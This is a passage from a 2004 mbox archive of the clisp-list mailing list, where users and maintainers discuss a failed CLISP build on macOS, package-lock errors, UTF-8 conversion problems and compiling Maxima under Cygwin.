illegal statement, missing `identifier' after `goto' eval.d:6253: syntax error, missing `;' after `*' eval.d:6260: illegal statement, missing `identifier' after `goto' eval.d:6260: syntax error, missing `;' after `*' eval.d:6267: illegal statement, missing `identifier' after `goto' eval.d:6267: syntax error, missing `;' after `*' for a while and then cpp-precomp: warning: errors during smart preprocessing, retrying in basic mode In file included from eval.d:7: lispbibl.d:7384: warning: volatile register variables don't work as you might wish for a few lines and eval.d: In function `invoke_handlers': eval.d:631: warning: variable `other_ranges' might be clobbered by `longjmp' or `vfork' eval.d:634: warning: variable `FRAME' might be clobbered by `longjmp' or `vfork' eval.d:646: warning: variable `i' might be clobbered by `longjmp' or `vfork' eval.d: In function `get_closure': eval.d:1798: `opt_label' undeclared (first use in this function) eval.d:1798: (Each undeclared identifier is reported only once eval.d:1798: for each function it appears in.) eval.d:1798: `rest_label' undeclared (first use in this function) eval.d:1798: `key_label' undeclared (first use in this function) eval.d:1798: `allow_label' undeclared (first use in this function) eval.d:1798: `aux_label' undeclared (first use in this function) eval.d:1798: `end_label' undeclared (first use in this function) eval.d:1798: warning: left-hand operand of comma expression has no effect eval.d:1798: warning: left-hand operand of comma expression has no effect eval.d:1798: warning: left-hand operand of comma expression has no effect eval.d:1798: warning: left-hand operand of comma expression has no effect eval.d:1798: warning: left-hand operand of comma expression has no effect eval.d:1798: parse error before '{' token eval.d:1798: `opt' undeclared (first use in this function) for a while The last three lines are eval.d: At top level: eval.d:2107: parse error before '}' token make: *** [eval.o] Error 1 Then when I do a [Sam-Ps-Computer:Desktop/clisp-2.32/build-dir] samp# clisp clisp: Command not found. [Sam-Ps-Computer:Desktop/clisp-2.32/build-dir] samp# (clisp) clisp: Command not found. [Sam-Ps-Computer:Desktop/clisp-2.32/build-dir] samp# cd .. [Sam-Ps-Computer:samp/Desktop/clisp-2.32] samp# clisp clisp: Command not found. Those are the exact details of what is going on. I think I have gotten a previous version working before but I needed to reinstall my OS recently. Do you live in the Boston area? Maybe I could meet up with you, and if you fix this, I could probably pay you a little bit of money for your time. Sam On Saturday, January 3, 2004, at 11:31 PM, Sam Steingold wrote: >> * Sam P [2004-01-03 23:13:55 -0500]: >> >> I think the Install file for the Unix section of the Clisp is just not >> detailed or clear enough for me. When do I do exactly what commands >> and where do I do them? That is pretty much what I am asking. What was >> the command to start Clisp? Maybe I do have it installed and don't >> know how to start it up. Please let me know so I can have some more >> insight. > > clisp is started with command "clisp". > "man clisp" will give you the invocation options. > building CLISP is usually accomplished by > > $ ./configure --build build-dir > > and installation by > > $ cd build-dir > $ make install > > as root. > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > ((lambda (x) `(,x ',x)) '(lambda (x) `(,x ',x))) > From sds@gnu.org Sun Jan 04 07:45:39 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AdARc-0007A8-F3 for clisp-list@lists.sourceforge.net; Sun, 04 Jan 2004 07:45:36 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AdARc-0001tx-20 for clisp-list@lists.sourceforge.net; Sun, 04 Jan 2004 07:45:36 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AdARb-0004RB-00; Sun, 04 Jan 2004 10:45:35 -0500 To: clisp-list@lists.sourceforge.net, Sam P Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <68A6CEE0-3EC2-11D8-8FBC-000393B3B454@jovi.net> (Sam P.'s message of "Sun, 4 Jan 2004 09:29:30 -0500") References: <68A6CEE0-3EC2-11D8-8FBC-000393B3B454@jovi.net> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: I am having some serious trouble with setting up clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 4 07:50:20 2004 X-Original-Date: Sun, 04 Jan 2004 10:45:30 -0500 > * Sam P [2004-01-04 09:29:30 -0500]: > > Ok I am using emacs on my Macintosh. please read $ uname -a $ gcc --version > The last three lines were: > > eval.d: At top level: > eval.d:2107: parse error before '}' token > make: *** [eval.o] Error 1 this means that build failed, so it is pointless to try to install. > eval.d: At top level: > eval.d:2107: parse error before '}' token > make: *** [eval.o] Error 1 same as above. > [Sam-Ps-Computer:Desktop/clisp-2.32/build-dir] samp# clisp > clisp: Command not found. of course - build & install failed. > Those are the exact details of what is going on. I think I have gotten > a previous version working before but I needed to reinstall my OS > recently. please try to install libsigsegv (see unix/INSTALL). please make sure your GCC installation is good (bad GCC appears to cause your problems). you might want to try MacOS binaries supplied on . > and if you fix this, I could probably > pay you a little bit of money for your time. If you would like to hire me as a CLISP consultant, please contact me via _private e-mail_ with the list of services you are looking for. -- Sam Steingold (http://www.podval.org/~sds) running w2k I haven't lost my mind -- it's backed up on tape somewhere. From james.anderson@setf.de Sun Jan 04 08:05:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AdAky-0001Co-Kk for clisp-list@lists.sourceforge.net; Sun, 04 Jan 2004 08:05:36 -0800 Received: from postman4.arcor-online.net ([151.189.0.189] helo=postman.arcor.de) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1AdAky-0005QU-1Y for clisp-list@lists.sourceforge.net; Sun, 04 Jan 2004 08:05:36 -0800 Received: from setf.de (dsl-082-082-091-133.arcor-ip.net [82.82.91.133]) (authenticated bits=0) by postman.arcor.de (8.13.0.PreAlpha4/8.13.0.PreAlpha4) with ESMTP id i04G5WYI004895 for ; Sun, 4 Jan 2004 17:05:32 +0100 (MET) Subject: Re: [clisp-list] Re: I am having some serious trouble with setting up clisp Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) From: james anderson To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: <68A6CEE0-3EC2-11D8-8FBC-000393B3B454@jovi.net> Message-Id: X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 4 08:06:05 2004 X-Original-Date: Sun, 4 Jan 2004 17:04:58 +0100 hello; On Sunday, Jan 4, 2004, at 15:29 Europe/Berlin, Sam P wrote: > Ok I am using emacs on my Macintosh. I did a /configure --build > build-dir. That looked fine. Later on in the output after the > ./configure --build build-dir there was errors like these these are my notes on how to do a build under os x 10.2.8 based on a recent clisp cvs. you can ignore the steps about patching or replacing clos.lisp. # clisp build using 20031223 cvs cd /Development/Source/ mkdir clisp-2003-12-23 cd clisp-2003-12-23 cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp get . mkdir withDec2002gcc ./configure --without-dynamic-ffi withDec2002gcc ## for method-combination extensions either, ## if working with the base cvs version cd src patch -b -p0 < ../../diff-20031108b.txt ## or, otherwise copy the modified version cp ../../method-combination-extensions/clos.lisp . cd ../withDec2002gcc # as per the then emitted instructions ./makemake > Makefile make config.lisp emacs config.lisp limit stacksize 8192 make # failed in make manual with an autoconf error # subsequent make check succeeded, so i tried a make clisp and that made # the combined lisp.run and lispinit.mem make check was ok # suggested workaround touch ../src/VERSION make From anil.sorathiya@scinovaindia.com Sun Jan 04 23:02:12 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AdOke-0000Az-Nl for clisp-list@lists.sourceforge.net; Sun, 04 Jan 2004 23:02:12 -0800 Received: from [61.11.19.67] (helo=localhost.localdomain) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AdOkd-0006na-Rx for clisp-list@lists.sourceforge.net; Sun, 04 Jan 2004 23:02:12 -0800 Received: from localhost.localdomain (Lion [127.0.0.1]) by localhost.localdomain (8.12.8/8.12.8) with ESMTP id i0572t5G001295 for ; Mon, 5 Jan 2004 12:32:56 +0530 Received: (from anil@localhost) by localhost.localdomain (8.12.8/8.12.8/Submit) id i0572rRX001293 for clisp-list@lists.sourceforge.net; Mon, 5 Jan 2004 12:32:53 +0530 X-Authentication-Warning: localhost.localdomain: anil set sender to anil.sorathiya@scinovaindia.com using -f From: Anil Sorathiya To: clisp-list@lists.sourceforge.net In-Reply-To: References: <1073152989.12391.3.camel@Lion> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1073286171.1200.1.camel@Lion> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: problem while migration for cclicc and clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 4 23:03:00 2004 X-Original-Date: 05 Jan 2004 12:32:51 +0530 On Sun, 2004-01-04 at 07:15, Sam Steingold wrote: > > * Anil Sorathiya [2004-01-03 23:33:10 +0500]: > > > > ---invalid byte #xFC in CHARSET:UTF-8 conversion, not a Unicode-16 > > > My os is Redhat 9.0 and i have both source code and rpm also for clisp.... what i have to do please tell me... From lisp-clisp-list@m.gmane.org Tue Jan 06 09:28:23 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Adv0B-0004mI-OO for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 09:28:23 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Adv0B-0000Lk-4L for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 09:28:23 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1Adv09-0004zK-00 for ; Tue, 06 Jan 2004 18:28:21 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1Adv07-0004zC-00 for ; Tue, 06 Jan 2004 18:28:19 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1Adv07-0003E4-00 for ; Tue, 06 Jan 2004 18:28:19 +0100 From: Christian Schuhegger Lines: 85 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en X-Enigmail-Version: 0.76.7.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] question about package locks (ext:without-package-lock) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 6 09:29:06 2004 X-Original-Date: Tue, 06 Jan 2004 18:25:56 +0100 hello, i am trying to run some code that uses the function clos::slot-boundp-using-class on clisp 2.29. when i enter: [39]> #'clos::slot-boundp-using-class ** - Continuable Error INTERN("SLOT-BOUNDP-USING-CLASS"): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1. Break [40]> here is my first question: i am not calling one of: * import a symbol into the package (with import and shadowing-import) * export a symbol from the package (with export). * unexport a symbol (with unexport) * change the name of the package (with rename-package). * change the packages used by the package (with use-package and unuse-package). * unintern a symbol in the package (with unintern) * shadow a symbol (with shadow or shadowing-import). i just want to know from the system that this is a function? so why is it triggering this "is locked" error? then my next attempt was to use ext:without-package-lock as described at http://clisp.cons.org/impnotes/packages.html: [44]> (ext:without-package-lock ("CLOS") #'clos::slot-boundp-using-class) ** - Continuable Error INTERN("SLOT-BOUNDP-USING-CLASS"): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1. Break [45]> so my next question is why the without-package-lock does not work? i found in the common music project a file which defines the following: #+(and clisp (not pcl)) (progn ;(defun allocate-instance (class) ; (clos::allocate-std-instance ; class (length (class-slots class)))) (defun class-slots (class) (clos::class-slots class)) (defun class-precedence-list (class) (clos::class-precedence-list class)) (defun class-direct-superclasses (class) (clos::class-direct-superclasses class)) (defun slot-definition-name (slot) (clos::slotdef-name slot)) (defun slot-definition-initargs (slot) (clos::slotdef-initargs slot)) (defun slot-definition-initform (slot) (let ((? (clos::slotdef-initer slot))) (and ? (if (car ?) (funcall (car ?)) (cdr ?))))) (defun slot-definition-readers (slot) (declare (ignore slot)) (error "slot-definition-readers undefined in CLISP")) (defun slot-definition-writers (slot) (declare (ignore slot)) (error "slot-definition-writers undefined in CLISP")) (defmacro slot-value-using-class (class object slot) (declare (ignore class)) `(slot-value ,object (slot-definition-name ,slot))) (defun slot-boundp-using-class (class object slot) (declare (ignore class)) (slot-boundp object (slot-definition-name slot))) (defun slot-makunbound-using-class (class object slot) (declare (ignore class)) (slot-makunbound object (slot-definition-name slot))) (defun change-class (object new-class) (declare (ignore object new-class)) (error "CLISP CLOS does not implement change-class.")) (defvar %clisp-prototypes% (make-hash-table)) (defun class-prototype (class) (or (gethash class %clisp-prototypes% ) (setf (gethash class %clisp-prototypes% ) (clos::allocate-std-instance class (length (class-slots class)))))) ) which means for me that i should use in clisp slot-boundp instead of clos::slot-boundp-using-class. the same for slot-value-using-class. could somebody please bring some more light into this matter? thanks a lot for any hints!! -- Christian Schuhegger From sds@gnu.org Tue Jan 06 09:57:50 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AdvSg-0006V2-5x for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 09:57:50 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AdvSe-0002Ng-H1 for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 09:57:49 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i06HvR220017; Tue, 6 Jan 2004 12:57:28 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Christian Schuhegger Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Christian Schuhegger's message of "Tue, 06 Jan 2004 18:25:56 +0100") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: question about package locks (ext:without-package-lock) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 6 09:58:03 2004 X-Original-Date: Tue, 06 Jan 2004 12:57:27 -0500 > * Christian Schuhegger [2004-01-06 18:25:56 +0100]: > > i am trying to run some code that uses the function > clos::slot-boundp-using-class on clisp 2.29. when i enter: you are 3 releases behind. > [39]> #'clos::slot-boundp-using-class > ** - Continuable Error > INTERN("SLOT-BOUNDP-USING-CLASS"): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed > 1. Break [40]> > > here is my first question: i am not calling one of: > * import a symbol into the package (with import and shadowing-import) > * export a symbol from the package (with export). > * unexport a symbol (with unexport) > * change the name of the package (with rename-package). > * change the packages used by the package (with use-package and > unuse-package). > * unintern a symbol in the package (with unintern) > * shadow a symbol (with shadow or shadowing-import). > i just want to know from the system that this is a function? so why is > it triggering this "is locked" error? read the error message again. you are trying to INTERN "SLOT-BOUNDP-USING-CLASS" in package CLOS. > then my next attempt was to use ext:without-package-lock as described at > http://clisp.cons.org/impnotes/packages.html: > [44]> (ext:without-package-lock ("CLOS") #'clos::slot-boundp-using-class) > ** - Continuable Error > INTERN("SLOT-BOUNDP-USING-CLASS"): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed > 1. Break [45]> > so my next question is why the without-package-lock does not work? this is a read-time error, it is signaled before EXT:WITHOUT-PACKAGE-LOCK is ever processed. try FIND-SYMBOL or FIND-ALL-SYMBOLS > i found in the common music project a file which defines the following: > #+(and clisp (not pcl)) > (progn > (defun change-class (object new-class) > (declare (ignore object new-class)) > (error "CLISP CLOS does not implement change-class.")) > (defvar %clisp-prototypes% (make-hash-table)) > (defun class-prototype (class) > (or (gethash class %clisp-prototypes% ) > (setf (gethash class %clisp-prototypes% ) > (clos::allocate-std-instance > class (length (class-slots class)))))) > ) CLISP now has CLASS-PROTOTYPE & CHANGE-CLASS. -- Sam Steingold (http://www.podval.org/~sds) running w2k Growing Old is Inevitable; Growing Up is Optional. From lisp-clisp-list@m.gmane.org Tue Jan 06 10:33:26 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Adw17-0008Sr-VC for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 10:33:25 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Adw17-0005G7-JM for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 10:33:25 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1Adw15-0005Zr-00 for ; Tue, 06 Jan 2004 19:33:23 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1Adw13-0005Zj-00 for ; Tue, 06 Jan 2004 19:33:21 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1Adw13-0005fP-00 for ; Tue, 06 Jan 2004 19:33:21 +0100 From: Christian Schuhegger Lines: 29 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en In-Reply-To: X-Enigmail-Version: 0.76.7.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: question about package locks (ext:without-package-lock) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 6 10:34:01 2004 X-Original-Date: Tue, 06 Jan 2004 19:30:59 +0100 Sam Steingold wrote: >>* Christian Schuhegger [2004-01-06 18:25:56 +0100]: >> >>i am trying to run some code that uses the function >>clos::slot-boundp-using-class on clisp 2.29. when i enter: > > > you are 3 releases behind. yes, but at least i know that it works fine for me :) and before i don't have a very good reason to upgrade i will stay with this version. > this is a read-time error, it is signaled before > EXT:WITHOUT-PACKAGE-LOCK is ever processed. > > try FIND-SYMBOL or FIND-ALL-SYMBOLS ok, thanks for that hint: [12]> (find-all-symbols "SLOT-BOUNDP-USING-CLASS") NIL the symbol is just not available. it is only a strange error message :) thanks again! -- Christian Schuhegger http://cschuheg.web1000.com From lisp-clisp-list@m.gmane.org Tue Jan 06 12:50:35 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1Ady9r-000810-Fz for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 12:50:35 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Ady9r-0004lb-1l for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 12:50:35 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1Ady9p-0006uD-00 for ; Tue, 06 Jan 2004 21:50:33 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1Adxug-0006ma-00 for ; Tue, 06 Jan 2004 21:34:54 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1Adxug-0001yu-00 for ; Tue, 06 Jan 2004 21:34:54 +0100 From: "Yadin Y. Goldschmidt" Lines: 8 Message-ID: X-Complaints-To: usenet@sea.gmane.org X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.8 PRIORITY_NO_NAME Message has priority setting, but no X-Mailer Subject: [clisp-list] cygwin clisip-2.32 and maxima Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 6 12:51:03 2004 X-Original-Date: Tue, 6 Jan 2004 15:34:52 -0500 I tried to compile maxima with the new cygwin clisp 2.32 package and it gets stuck on the file simp.fas saying the there is no package with the name POSIX. When I type clisp --version it does not show the package SYSCALLS. How can I compile maxima then? Cheers, Yadin. From sds@gnu.org Tue Jan 06 13:05:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AdyO5-0000Tm-8f for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 13:05:17 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AdyO3-0006E8-Nl for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 13:05:16 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i06L4t217355; Tue, 6 Jan 2004 16:04:56 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, "Yadin Y. Goldschmidt" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Yadin Y. Goldschmidt's message of "Tue, 6 Jan 2004 15:34:52 -0500") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: cygwin clisip-2.32 and maxima Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 6 13:06:01 2004 X-Original-Date: Tue, 06 Jan 2004 16:04:56 -0500 > * Yadin Y. Goldschmidt [2004-01-06 15:34:52 -0500]: > > I tried to compile maxima with the new cygwin clisp 2.32 package and > it gets stuck on the file simp.fas saying the there is no package with > the name POSIX. When I type clisp --version it does not show the > package SYSCALLS. How can I compile maxima then? $ clisp -K full -- Sam Steingold (http://www.podval.org/~sds) running w2k Let us remember that ours is a nation of lawyers and order. From kaz@footprints.net Tue Jan 06 13:40:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AdywT-0002YY-OG for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 13:40:49 -0800 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AdywT-00014Z-D1 for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 13:40:49 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 1AdywQ-00070f-00; Tue, 06 Jan 2004 13:40:46 -0800 From: Kaz Kylheku To: "Yadin Y. Goldschmidt" cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: cygwin clisip-2.32 and maxima Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 6 13:41:06 2004 X-Original-Date: Tue, 6 Jan 2004 13:40:46 -0800 (PST) On Tue, 6 Jan 2004, Yadin Y. Goldschmidt wrote: > Date: Tue, 6 Jan 2004 15:34:52 -0500 > From: Yadin Y. Goldschmidt > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] cygwin clisip-2.32 and maxima > > I tried to compile maxima with the new cygwin clisp 2.32 package and it gets > stuck on the file simp.fas saying the there is no package with the name > POSIX. When I type clisp --version it does not show the package SYSCALLS. > How can I compile maxima then? I have another issue with the clisp-2.32 Cygwin package. I just subscribed to the cygwin mailing list to gripe about it. ;) This CLISP is built with libsigsegv, but that lib is nowhere to be installed. As a result, you can't build a custom link of CLISP; the makevars calls for ``-lsigsegv'' which doesn't exist, and can't be found among the packages. From sds@gnu.org Tue Jan 06 14:02:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AdzHj-00042D-2C for clisp-list@lists.sourceforge.net; Tue, 06 Jan 2004 14:02:47 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by 